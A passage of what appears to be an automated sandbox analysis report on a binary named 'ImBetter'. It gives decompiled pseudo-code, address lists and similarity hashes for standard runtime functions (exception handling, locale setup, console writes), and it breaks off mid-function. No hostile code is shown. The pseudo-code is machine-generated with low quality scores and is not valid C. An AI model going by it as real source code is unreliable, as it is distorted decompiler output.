				if (( *(__rcx + 4) & 0x00000066) == 0) goto 0xe6b417e6;
				if (_t115[1] == 0) goto 0xe6b418dd;
				if (_a48 != 0) goto 0xe6b418dd;
				if (( *(__rcx + 4) & 0x00000020) == 0) goto 0xe6b417d3;
				if ( *__rcx != 0x80000026) goto 0xe6b417b1;
				_t60 = E00007FF77FF7E6B3FCE0(_t115, __r9,  *((intOrPtr*)(__r9 + 0x20)), __r9);
				if (_t60 - 0xffffffff < 0) goto 0xe6b418fd;
				if (_t60 - _t115[1] >= 0) goto 0xe6b418fd;
				r9d = _t60;
				E00007FF77FF7E6B42434(_t109, _t142, __r9, _t115);
				goto 0xe6b418dd;
				if ( *_t136 != 0x80000029) goto 0xe6b417d3;
				r9d =  *((intOrPtr*)(_t136 + 0x38));
				if (r9d - 0xffffffff < 0) goto 0xe6b418fd;
				if (r9d - _t115[1] >= 0) goto 0xe6b418fd;
				goto 0xe6b417a1;
				E00007FF77FF7E6B3DCE8(r9d - _t115[1], _t109, _t115, __r9, __r9, _t115);
				goto 0xe6b418dd;
				if (_t115[3] != 0) goto 0xe6b4182e;
				if (( *_t115 & 0x1fffffff) - 0x19930521 < 0) goto 0xe6b4180e;
				_t101 = _t115[8];
				if (_t101 == 0) goto 0xe6b4180e;
				E00007FF77FF7E6B3E594(_t109);
				if (_t101 != 0) goto 0xe6b4182e;
				if (( *_t115 & 0x1fffffff) - 0x19930522 < 0) goto 0xe6b418dd;
				if ((_t115[9] >> 0x00000002 & 0x00000001) == 0) goto 0xe6b418dd;
				if ( *_t136 != 0xe06d7363) goto 0xe6b418a4;
				if ( *((intOrPtr*)(_t136 + 0x18)) - 3 < 0) goto 0xe6b418a4;
				if ( *((intOrPtr*)(_t136 + 0x20)) - 0x19930522 <= 0) goto 0xe6b418a4;
				_t111 =  *((intOrPtr*)(_t136 + 0x30));
				if ( *((intOrPtr*)(_t111 + 8)) == 0) goto 0xe6b418a4;
				E00007FF77FF7E6B3E5A8(_t111);
				if (_t111 +  *((intOrPtr*)( *((intOrPtr*)(_t136 + 0x30)) + 8)) == 0) goto 0xe6b418a4;
				_v32 = _a64 & 0x000000ff;
				_v40 = _a56;
				_v48 = _a48;
				_v56 = _t115;
				 *0xe6b4f3c8(_t158);
				goto 0xe6b418e2;
				_v32 = _a56;
				_v40 = _a48;
				_v48 = _a64;
				_v56 = _t115;
				E00007FF77FF7E6B40568(_a64 & 0x000000ff, 0x80000026, __esi, _t136, _t142, _t159, _t139, _t111 +  *((intOrPtr*)( *((intOrPtr*)(_t136 + 0x30)) + 8)));
				return 1;
			}

0x7ff7e6b416cc
0x7ff7e6b416cf
0x7ff7e6b416d3
0x7ff7e6b416d7
0x7ff7e6b416db
0x7ff7e6b416e5
0x7ff7e6b416e8
0x7ff7e6b416ee
0x7ff7e6b416f1
0x7ff7e6b416f4
0x7ff7e6b416f9
0x7ff7e6b416fe
0x7ff7e6b41714
0x7ff7e6b4171c
0x7ff7e6b41720
0x7ff7e6b41726
0x7ff7e6b41730
0x7ff7e6b41734
0x7ff7e6b41742
0x7ff7e6b41748
0x7ff7e6b41752
0x7ff7e6b4175c
0x7ff7e6b4176a
0x7ff7e6b41774
0x7ff7e6b41778
0x7ff7e6b41784
0x7ff7e6b4178c
0x7ff7e6b41795
0x7ff7e6b4179b
0x7ff7e6b417a7
0x7ff7e6b417ac
0x7ff7e6b417b3
0x7ff7e6b417b5
0x7ff7e6b417bd
0x7ff7e6b417c7
0x7ff7e6b417d1
0x7ff7e6b417dc
0x7ff7e6b417e1
0x7ff7e6b417ea
0x7ff7e6b417f8
0x7ff7e6b417fa
0x7ff7e6b417fe
0x7ff7e6b41800
0x7ff7e6b4180c
0x7ff7e6b4181a
0x7ff7e6b41828
0x7ff7e6b41834
0x7ff7e6b4183a
0x7ff7e6b41843
0x7ff7e6b41845
0x7ff7e6b4184d
0x7ff7e6b4184f
0x7ff7e6b41862
0x7ff7e6b41879
0x7ff7e6b41888
0x7ff7e6b41890
0x7ff7e6b41897
0x7ff7e6b4189c
0x7ff7e6b418a2
0x7ff7e6b418af
0x7ff7e6b418c1
0x7ff7e6b418cf
0x7ff7e6b418d3
0x7ff7e6b418d8
0x7ff7e6b418fc

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7E6B416F4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7E6B417DC

Strings

csm, xrefs: 00007FF7E6B41716
csm, xrefs: 00007FF7E6B4182E

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 512667e476b94464b204aefa9a120e7dd4bf4a20718d59c65042bd962ec2331b
Instruction ID: ed38448fbb4fdb2cb671dc8aeaae2429f925235ebd2d1460ef059215c2d80718
Opcode Fuzzy Hash: 512667e476b94464b204aefa9a120e7dd4bf4a20718d59c65042bd962ec2331b
Instruction Fuzzy Hash: 2B519132E2838286EB64AB15D94837AB790FB50B94FA44237DA4C47BD5EF3CE450C712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B03C60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00007FF77FF7E6B03C60(long long __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi) {
				void* __rdi;
				void* _t42;
				void* _t52;
				intOrPtr _t77;
				long long* _t92;
				long long _t95;
				void* _t98;
				void* _t100;
				void* _t103;
				void* _t104;
				long long _t106;

				_t68 = __rax;
				 *((long long*)(_t100 + 0x10)) = __rbx;
				 *((long long*)(_t100 + 0x18)) = __rsi;
				_push(_t106);
				_t98 = _t100 - 0x47;
				_t92 = __rcx;
				r14d = 0;
				if (__rcx == 0) goto 0xe6b03dc0;
				if ( *__rcx != _t106) goto 0xe6b03dc0;
				_t4 = _t106 + 0x30; // 0x30
				_t55 = _t4;
				_t42 = E00007FF77FF7E6B3CAAC( *__rcx - _t106, __rax, __rcx);
				_t95 = __rax;
				 *((long long*)(_t98 + 0x67)) = __rax;
				_t77 =  *((intOrPtr*)(__rdx + 8));
				if (_t77 == 0) goto 0xe6b03cbd;
				if ( *((intOrPtr*)(_t77 + 0x28)) != 0) goto 0xe6b03cc4;
				goto 0xe6b03cc4;
				E00007FF77FF7E6B43D9C(_t42, 0, _t98 - 0x49);
				 *((long long*)(_t98 - 0x41)) = _t106;
				 *((char*)(_t98 - 0x39)) = 0;
				 *((long long*)(_t98 - 0x31)) = _t106;
				 *((char*)(_t98 - 0x29)) = 0;
				 *((long long*)(_t98 - 0x21)) = _t106;
				 *((intOrPtr*)(_t98 - 0x19)) = r14w;
				 *((long long*)(_t98 - 0x11)) = _t106;
				 *((intOrPtr*)(_t98 - 9)) = r14w;
				 *((long long*)(_t98 - 1)) = _t106;
				 *((char*)(_t98 + 7)) = 0;
				 *((long long*)(_t98 + 0xf)) = _t106;
				 *((char*)(_t98 + 0x17)) = 0;
				if (0xe6b5dda3 == 0) goto 0xe6b03ddd;
				E00007FF77FF7E6B441E4(_t68, 0xe6b5dda3, _t98 - 0x49, 0xe6b5dda3, _t92, _t95, _t104);
				 *((intOrPtr*)(_t95 + 8)) = r14d;
				 *_t95 = 0xe6b5a400;
				E00007FF77FF7E6B44340(_t4, 0, 0xe6b5a400, _t98 + 0x1f, 0xe6b5dda3, _t103);
				asm("movups xmm0, [eax]");
				asm("movups [esi+0x10], xmm0");
				asm("movups xmm1, [eax+0x10]");
				asm("movups [esi+0x20], xmm1");
				 *_t92 = _t95;
				E00007FF77FF7E6B44250(_t98 - 0x49);
				if ( *((intOrPtr*)(_t98 + 0xf)) == 0) goto 0xe6b03d58;
				E00007FF77FF7E6B25D54(_t4, 0xe6b5dda3, 0xe6b5dda3, _t95, _t103);
				 *((long long*)(_t98 + 0xf)) = _t106;
				if ( *((intOrPtr*)(_t98 - 1)) == 0) goto 0xe6b03d6a;
				E00007FF77FF7E6B25D54(_t4, 0xe6b5dda3, 0xe6b5dda3, _t95, _t103);
				 *((long long*)(_t98 - 1)) = _t106;
				if ( *((intOrPtr*)(_t98 - 0x11)) == 0) goto 0xe6b03d7c;
				E00007FF77FF7E6B25D54(_t55, 0xe6b5dda3, 0xe6b5dda3, _t95, _t103);
				 *((long long*)(_t98 - 0x11)) = _t106;
				if ( *((intOrPtr*)(_t98 - 0x21)) == 0) goto 0xe6b03d8e;
				E00007FF77FF7E6B25D54(_t55, 0xe6b5dda3, 0xe6b5dda3, _t95, _t103);
				 *((long long*)(_t98 - 0x21)) = _t106;
				if ( *((intOrPtr*)(_t98 - 0x31)) == 0) goto 0xe6b03da0;
				E00007FF77FF7E6B25D54(_t55, 0xe6b5dda3, 0xe6b5dda3, _t95, _t103);
				 *((long long*)(_t98 - 0x31)) = _t106;
				if ( *((intOrPtr*)(_t98 - 0x41)) == 0) goto 0xe6b03db2;
				_t52 = E00007FF77FF7E6B25D54(_t55, 0xe6b5dda3, 0xe6b5dda3, _t95, _t103);
				 *((long long*)(_t98 - 0x41)) = _t106;
				E00007FF77FF7E6B43E14(_t52, _t98 - 0x49);
				return 2;
			}

0x7ff7e6b03c60
0x7ff7e6b03c60
0x7ff7e6b03c65
0x7ff7e6b03c6c
0x7ff7e6b03c6e
0x7ff7e6b03c7d
0x7ff7e6b03c80
0x7ff7e6b03c86
0x7ff7e6b03c8f
0x7ff7e6b03c95
0x7ff7e6b03c95
0x7ff7e6b03c99
0x7ff7e6b03c9e
0x7ff7e6b03ca1
0x7ff7e6b03ca5
0x7ff7e6b03cac
0x7ff7e6b03cb5
0x7ff7e6b03cbb
0x7ff7e6b03cca
0x7ff7e6b03cd0
0x7ff7e6b03cd4
0x7ff7e6b03cd8
0x7ff7e6b03cdc
0x7ff7e6b03ce0
0x7ff7e6b03ce4
0x7ff7e6b03ce9
0x7ff7e6b03ced
0x7ff7e6b03cf2
0x7ff7e6b03cf6
0x7ff7e6b03cfa
0x7ff7e6b03cfe
0x7ff7e6b03d05
0x7ff7e6b03d12
0x7ff7e6b03d18
0x7ff7e6b03d23
0x7ff7e6b03d2a
0x7ff7e6b03d2f
0x7ff7e6b03d32
0x7ff7e6b03d36
0x7ff7e6b03d3a
0x7ff7e6b03d3e
0x7ff7e6b03d45
0x7ff7e6b03d51
0x7ff7e6b03d53
0x7ff7e6b03d58
0x7ff7e6b03d63
0x7ff7e6b03d65
0x7ff7e6b03d6a
0x7ff7e6b03d75
0x7ff7e6b03d77
0x7ff7e6b03d7c
0x7ff7e6b03d87
0x7ff7e6b03d89
0x7ff7e6b03d8e
0x7ff7e6b03d99
0x7ff7e6b03d9b
0x7ff7e6b03da0
0x7ff7e6b03dab
0x7ff7e6b03dad
0x7ff7e6b03db2
0x7ff7e6b03dba
0x7ff7e6b03ddc

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7E6B03CCA
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7E6B03D12
_Getctype.LIBCPMT ref: 00007FF7E6B03D2A

Strings

bad locale name, xrefs: 00007FF7E6B03DDD

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: std::_$GetctypeLocinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1612978173-1405518554
Opcode ID: e193c96b1aff4993fd7960a55ce19b69f2f6fc3f1e95abfa8073dd58dbc4d7ec
Instruction ID: 376c68b77b93b8ba90526d31bd9d333954afef3455767490e5a0ca9de8a0cd3f
Opcode Fuzzy Hash: e193c96b1aff4993fd7960a55ce19b69f2f6fc3f1e95abfa8073dd58dbc4d7ec
Instruction Fuzzy Hash: 3A419F22B69B4189FB10EFA0D8907FEB370AF50748F644036DE4D26A56DF38D516D322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2D9F0 Relevance: 6.3, APIs: 4, Instructions: 305
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 54%

			E00007FF77FF7E6B2D9F0(void* __ecx, signed int __edx, void* __esi, long long __rbx, intOrPtr* __rcx, long long __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				intOrPtr _t182;
				signed int _t186;
				signed int _t193;
				signed int _t198;
				void* _t212;
				signed char _t213;
				void* _t229;
				void* _t262;
				signed long long _t263;
				signed long long _t266;
				long long _t268;
				signed long long _t270;
				long long _t275;
				long long _t277;
				long long _t279;
				intOrPtr* _t288;
				intOrPtr _t293;
				long long _t294;
				long long _t317;
				void* _t325;
				long long _t326;
				void* _t327;
				long long _t328;
				intOrPtr* _t329;
				long long _t330;
				signed char* _t331;
				signed char* _t332;
				void* _t333;
				intOrPtr* _t334;
				void* _t335;
				void* _t336;
				signed long long _t337;
				intOrPtr _t340;
				signed long long _t342;
				void* _t344;
				intOrPtr* _t346;
				intOrPtr _t350;
				signed long long _t355;
				signed long long _t358;
				signed long long _t360;
				void* _t363;
				long long _t364;
				long long _t366;
				char _t367;
				void* _t371;
				signed char* _t372;
				signed long long _t374;

				_t262 = _t336;
				_t335 = _t262 - 0x57;
				_t337 = _t336 - 0xe0;
				 *((long long*)(_t335 - 9)) = 0xfffffffe;
				 *((long long*)(_t262 + 8)) = __rbx;
				_t263 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t335 + 0x17) = _t263 ^ _t337;
				_t329 = __r8;
				 *((long long*)(_t335 - 0x49)) = __r8;
				_t288 = __rcx;
				_t366 =  *((intOrPtr*)(_t335 + 0x7f));
				 *((long long*)(_t335 - 0x51)) = _t366;
				 *(_t335 - 0x19) = __edx;
				_t266 = __edx >> 6;
				 *(_t335 - 0x59) = _t266;
				 *(_t335 - 0x11) = __edx;
				_t374 = __edx + __edx * 8;
				_t268 =  *((intOrPtr*)( *((intOrPtr*)(0x7ff7e6b00000 + 0x6cdb0 + _t266 * 8)) + 0x28 + _t374 * 8));
				 *((long long*)(_t335 - 0x29)) = _t268;
				r12d = r9d;
				_t364 = _t363 + __r8;
				 *((long long*)(_t335 - 0x71)) = _t364;
				 *((intOrPtr*)(_t335 - 0x61)) = GetConsoleOutputCP();
				if ( *((intOrPtr*)(_t366 + 0x28)) != dil) goto 0xe6b2da90;
				E00007FF77FF7E6B28660(_t268, __rcx, _t366, 0x7ff7e6b00000, __r8);
				_t293 =  *((intOrPtr*)(_t366 + 0x18));
				r8d =  *(_t293 + 0xc);
				 *(_t335 - 0x5d) = r8d;
				 *_t288 = _t268;
				 *((intOrPtr*)(_t288 + 8)) = 0;
				if ( *((intOrPtr*)(_t335 - 0x49)) - _t364 >= 0) goto 0xe6b2de50;
				_t270 = __edx >> 6;
				 *(_t335 - 0x21) = _t270;
				 *((char*)(_t337 + 0x40)) =  *_t329;
				 *((intOrPtr*)(_t335 - 0x7d)) = 0;
				r12d = 1;
				if (r8d != 0xfde9) goto 0xe6b2dc58;
				_t346 = 0x3e + _t374 * 8 +  *((intOrPtr*)(0x7ff7e6b00000 + 0x6cdb0 + _t270 * 8));
				if ( *_t346 == dil) goto 0xe6b2db0c;
				_t371 = _t328 + 1;
				if (_t371 - 5 < 0) goto 0xe6b2daf9;
				if (_t371 == 0) goto 0xe6b2dbea;
				r12d =  *((char*)(_t293 + 0x7ff7e6b6b540));
				r12d = r12d + 1;
				_t182 = r12d - 1;
				 *((intOrPtr*)(_t335 - 0x69)) = _t182;
				_t340 = _t182;
				if (_t340 -  *((intOrPtr*)(_t335 - 0x71)) - _t329 > 0) goto 0xe6b2ddbf;
				_t294 = _t328;
				 *((char*)(_t335 + _t294 - 1)) =  *_t346;
				if (_t294 + 1 - _t371 < 0) goto 0xe6b2db51;
				if (_t340 <= 0) goto 0xe6b2db82;
				E00007FF77FF7E6B3F010();
				_t317 = _t328;
				 *((intOrPtr*)( *((intOrPtr*)(0x7ff7e6b00000 + 0x6cdb0 +  *(_t335 - 0x59) * 8)) + _t317 + 0x3e + _t374 * 8)) = dil;
				if (_t317 + 1 - _t371 < 0) goto 0xe6b2db85;
				 *((long long*)(_t335 - 0x41)) = _t328;
				_t275 = _t335 - 1;
				 *((long long*)(_t335 - 0x39)) = _t275;
				_t186 = (0 | r12d == 0x00000004) + 1;
				r12d = _t186;
				r8d = _t186;
				 *((long long*)(_t337 + 0x20)) = _t366;
				E00007FF77FF7E6B37494(_t275, _t288, _t335 - 0x7d, _t335 - 0x39, _t340, _t335 - 0x41);
				if (_t275 == 0xffffffff) goto 0xe6b2de50;
				_t330 = _t329 +  *((intOrPtr*)(_t335 - 0x69)) - 1;
				goto 0xe6b2dced;
				_t367 =  *((char*)(_t275 + 0x7ff7e6b6b540));
				_t212 = _t367 + 1;
				_t342 =  *((intOrPtr*)(_t335 - 0x71)) - _t330;
				if (_t212 - _t342 > 0) goto 0xe6b2dded;
				 *((long long*)(_t335 - 0x69)) = _t328;
				 *((long long*)(_t335 - 0x31)) = _t330;
				_t193 = (0 | _t212 == 0x00000004) + 1;
				r14d = _t193;
				r8d = _t193;
				_t277 =  *((intOrPtr*)(_t335 - 0x51));
				 *((long long*)(_t337 + 0x20)) = _t277;
				E00007FF77FF7E6B37494(_t277, _t288, _t335 - 0x7d, _t335 - 0x31, _t342, _t335 - 0x69);
				if (_t277 == 0xffffffff) goto 0xe6b2de50;
				_t331 = _t330 + _t367;
				r12d = r14d;
				goto 0xe6b2dced;
				_t358 =  *(_t335 - 0x59);
				_t350 =  *((intOrPtr*)(0x7ff7e6b00000 + 0x6cdb0 + _t358 * 8));
				_t213 =  *(_t350 + 0x3d + _t374 * 8);
				if ((_t213 & 0x00000004) == 0) goto 0xe6b2dc8f;
				 *((char*)(_t335 + 7)) =  *((intOrPtr*)(_t350 + 0x3e + _t374 * 8));
				 *((char*)(_t335 + 8)) =  *_t331;
				 *(_t350 + 0x3d + _t374 * 8) = _t213 & 0x000000fb;
				r8d = 2;
				goto 0xe6b2dcd8;
				r8d =  *_t331 & 0x000000ff;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t335 - 0x51)) + 0x18)))) + _t342 * 2)) >= 0) goto 0xe6b2dcd2;
				_t105 =  &(_t331[1]); // 0x1
				_t372 = _t105;
				if (_t372 -  *((intOrPtr*)(_t335 - 0x71)) >= 0) goto 0xe6b2de2b;
				r8d = 2;
				if (E00007FF77FF7E6B2FE10(_t213 & 0x000000fb, _t229, _t288, _t335 - 0x7d, _t331, _t328, _t331, _t335, _t342,  *((intOrPtr*)(_t335 - 0x51))) == 0xffffffff) goto 0xe6b2de50;
				_t332 = _t372;
				goto 0xe6b2dced;
				_t198 = E00007FF77FF7E6B2FE10(_t213 & 0x000000fb, _t229, _t288, _t335 - 0x7d, _t332, _t328, _t332, _t335, _t364,  *((intOrPtr*)(_t335 - 0x51)));
				if (_t198 == 0xffffffff) goto 0xe6b2de50;
				_t333 = _t332 + 1;
				 *((long long*)(_t337 + 0x38)) = _t328;
				 *((long long*)(_t337 + 0x30)) = _t328;
				 *((intOrPtr*)(_t337 + 0x28)) = 5;
				_t279 = _t335 + 0xf;
				 *((long long*)(_t337 + 0x20)) = _t279;
				r9d = r12d;
				_t344 = _t335 - 0x7d;
				E00007FF77FF7E6B29E5C();
				r14d = _t198;
				if (_t198 == 0) goto 0xe6b2de50;
				 *((long long*)(_t337 + 0x20)) = _t328;
				r8d = _t198;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xe6b2de48;
				 *((intOrPtr*)(_t288 + 4)) = __esi -  *((intOrPtr*)(_t335 - 0x49)) +  *((intOrPtr*)(_t288 + 8));
				if ( *((intOrPtr*)(_t335 - 0x79)) - r14d < 0) goto 0xe6b2de50;
				if ( *((char*)(_t337 + 0x40)) != 0xa) goto 0xe6b2dda8;
				 *((short*)(_t337 + 0x40)) = 0xd;
				 *((long long*)(_t337 + 0x20)) = _t328;
				_t128 = _t279 - 0xc; // 0x1
				r8d = _t128;
				_t325 = _t337 + 0x40;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xe6b2de48;
				if ( *((intOrPtr*)(_t335 - 0x79)) - 1 < 0) goto 0xe6b2de50;
				 *((intOrPtr*)(_t288 + 8)) =  *((intOrPtr*)(_t288 + 8)) + 1;
				 *((intOrPtr*)(_t288 + 4)) =  *((intOrPtr*)(_t288 + 4)) + 1;
				if (_t333 -  *((intOrPtr*)(_t335 - 0x71)) >= 0) goto 0xe6b2de50;
				r8d =  *(_t335 - 0x5d);
				goto 0xe6b2dabb;
				if (_t325 <= 0) goto 0xe6b2dde8;
				_t334 = _t333 - _t372;
				 *((char*)( *((intOrPtr*)(0x7ff7e6b00000 + 0x6cdb0 + _t358 * 8)) + _t372 + 0x3e + _t374 * 8)) =  *((intOrPtr*)(_t334 + _t372));
				if (1 - _t325 < 0) goto 0xe6b2ddc7;
				 *((intOrPtr*)(_t288 + 4)) =  *((intOrPtr*)(_t288 + 4)) +  *((intOrPtr*)(_t288 + 4));
				goto 0xe6b2de50;
				if (_t344 <= 0) goto 0xe6b2de25;
				_t326 = _t328;
				_t360 =  *(_t335 - 0x19) >> 6;
				_t355 =  *(_t335 - 0x11) +  *(_t335 - 0x11) * 8;
				 *((char*)( *((intOrPtr*)(0x7ff7e6b00000 + 0x6cdb0 + _t360 * 8)) + _t355 * 8 + _t326 + 0x3e)) =  *((intOrPtr*)(_t326 + _t334));
				_t327 = _t326 + 1;
				if (2 - _t344 < 0) goto 0xe6b2de05;
				 *((intOrPtr*)(_t288 + 4)) =  *((intOrPtr*)(_t288 + 4)) + r8d;
				goto 0xe6b2de50;
				 *((char*)(_t355 + 0x3e + _t374 * 8)) =  *_t334;
				 *( *((intOrPtr*)(0x7ff7e6b00000 + 0x6cdb0 + _t360 * 8)) + 0x3d + _t374 * 8) =  *( *((intOrPtr*)(0x7ff7e6b00000 + 0x6cdb0 + _t360 * 8)) + 0x3d + _t374 * 8) | 0x00000004;
				_t174 = _t327 + 1; // 0x1
				 *((intOrPtr*)(_t288 + 4)) = _t174;
				goto 0xe6b2de50;
				 *_t288 = GetLastError();
				return E00007FF77FF7E6B3C7F0(_t206,  *((intOrPtr*)(_t335 - 0x61)),  *(_t335 + 0x17) ^ _t337);
			}

0x7ff7e6b2d9f0
0x7ff7e6b2d9fe
0x7ff7e6b2da02
0x7ff7e6b2da09
0x7ff7e6b2da11
0x7ff7e6b2da15
0x7ff7e6b2da1f
0x7ff7e6b2da23
0x7ff7e6b2da26
0x7ff7e6b2da2d
0x7ff7e6b2da30
0x7ff7e6b2da34
0x7ff7e6b2da3b
0x7ff7e6b2da42
0x7ff7e6b2da46
0x7ff7e6b2da54
0x7ff7e6b2da58
0x7ff7e6b2da64
0x7ff7e6b2da69
0x7ff7e6b2da6d
0x7ff7e6b2da70
0x7ff7e6b2da73
0x7ff7e6b2da7d
0x7ff7e6b2da86
0x7ff7e6b2da8b
0x7ff7e6b2da90
0x7ff7e6b2da94
0x7ff7e6b2da98
0x7ff7e6b2da9e
0x7ff7e6b2daa1
0x7ff7e6b2daa8
0x7ff7e6b2dab1
0x7ff7e6b2dab5
0x7ff7e6b2dabd
0x7ff7e6b2dac1
0x7ff7e6b2dac4
0x7ff7e6b2dad8
0x7ff7e6b2daf3
0x7ff7e6b2dafc
0x7ff7e6b2db00
0x7ff7e6b2db0a
0x7ff7e6b2db0f
0x7ff7e6b2db27
0x7ff7e6b2db30
0x7ff7e6b2db36
0x7ff7e6b2db38
0x7ff7e6b2db42
0x7ff7e6b2db48
0x7ff7e6b2db4e
0x7ff7e6b2db54
0x7ff7e6b2db61
0x7ff7e6b2db66
0x7ff7e6b2db72
0x7ff7e6b2db82
0x7ff7e6b2db90
0x7ff7e6b2db9b
0x7ff7e6b2db9d
0x7ff7e6b2dba1
0x7ff7e6b2dba5
0x7ff7e6b2dbb2
0x7ff7e6b2dbb4
0x7ff7e6b2dbb7
0x7ff7e6b2dbba
0x7ff7e6b2dbcb
0x7ff7e6b2dbd4
0x7ff7e6b2dbe2
0x7ff7e6b2dbe5
0x7ff7e6b2dbed
0x7ff7e6b2dbf6
0x7ff7e6b2dbfe
0x7ff7e6b2dc07
0x7ff7e6b2dc0d
0x7ff7e6b2dc11
0x7ff7e6b2dc1d
0x7ff7e6b2dc1f
0x7ff7e6b2dc22
0x7ff7e6b2dc25
0x7ff7e6b2dc29
0x7ff7e6b2dc3a
0x7ff7e6b2dc43
0x7ff7e6b2dc49
0x7ff7e6b2dc4c
0x7ff7e6b2dc53
0x7ff7e6b2dc58
0x7ff7e6b2dc5c
0x7ff7e6b2dc64
0x7ff7e6b2dc6c
0x7ff7e6b2dc73
0x7ff7e6b2dc78
0x7ff7e6b2dc7e
0x7ff7e6b2dc83
0x7ff7e6b2dc8d
0x7ff7e6b2dc8f
0x7ff7e6b2dc9f
0x7ff7e6b2dca1
0x7ff7e6b2dca1
0x7ff7e6b2dca9
0x7ff7e6b2dcb2
0x7ff7e6b2dcc7
0x7ff7e6b2dccd
0x7ff7e6b2dcd0
0x7ff7e6b2dcdf
0x7ff7e6b2dce7
0x7ff7e6b2dced
0x7ff7e6b2dcf0
0x7ff7e6b2dcf5
0x7ff7e6b2dcfa
0x7ff7e6b2dd02
0x7ff7e6b2dd06
0x7ff7e6b2dd0b
0x7ff7e6b2dd0e
0x7ff7e6b2dd17
0x7ff7e6b2dd1c
0x7ff7e6b2dd21
0x7ff7e6b2dd27
0x7ff7e6b2dd30
0x7ff7e6b2dd46
0x7ff7e6b2dd54
0x7ff7e6b2dd5b
0x7ff7e6b2dd66
0x7ff7e6b2dd6d
0x7ff7e6b2dd72
0x7ff7e6b2dd7b
0x7ff7e6b2dd7b
0x7ff7e6b2dd7f
0x7ff7e6b2dd8f
0x7ff7e6b2dd99
0x7ff7e6b2dd9f
0x7ff7e6b2dda2
0x7ff7e6b2ddac
0x7ff7e6b2ddb6
0x7ff7e6b2ddba
0x7ff7e6b2ddc2
0x7ff7e6b2ddc4
0x7ff7e6b2ddd6
0x7ff7e6b2dde6
0x7ff7e6b2dde8
0x7ff7e6b2ddeb
0x7ff7e6b2ddf0
0x7ff7e6b2ddf2
0x7ff7e6b2ddf9
0x7ff7e6b2de01
0x7ff7e6b2de14
0x7ff7e6b2de1a
0x7ff7e6b2de23
0x7ff7e6b2de25
0x7ff7e6b2de29
0x7ff7e6b2de2d
0x7ff7e6b2de3a
0x7ff7e6b2de40
0x7ff7e6b2de43
0x7ff7e6b2de46
0x7ff7e6b2de4e
0x7ff7e6b2de79

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7E6B2DA77
WriteFile.KERNEL32 ref: 00007FF7E6B2DD3E
WriteFile.KERNEL32 ref: 00007FF7E6B2DD87
GetLastError.KERNEL32 ref: 00007FF7E6B2DE48

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 202b21a9e285209060ebe622251e0842a4af383a9e8ee8b55dd6134c25f42b45
Instruction ID: 88d5416231f84117e78ea0081fc1a120aa92a4d4a7a4401feb868a96b43cbbbd
Opcode Fuzzy Hash: 202b21a9e285209060ebe622251e0842a4af383a9e8ee8b55dd6134c25f42b45
Instruction Fuzzy Hash: F4D1E232B38A8189EB10EF75D8402AEB7F2F754B98B604232DE5D57B89DE38D406C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2E3CC Relevance: 6.2, APIs: 4, Instructions: 219
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 30%

			E00007FF77FF7E6B2E3CC(void* __ebx, signed int __ecx, void* __ebp, void* __rax, void* __rcx, signed short* __rdx, void* __r8, signed int __r9, void* __r10) {
				signed short _v80;
				void* _v92;
				signed int _v96;
				intOrPtr _v104;
				intOrPtr _v108;
				long _v112;
				signed int _v120;
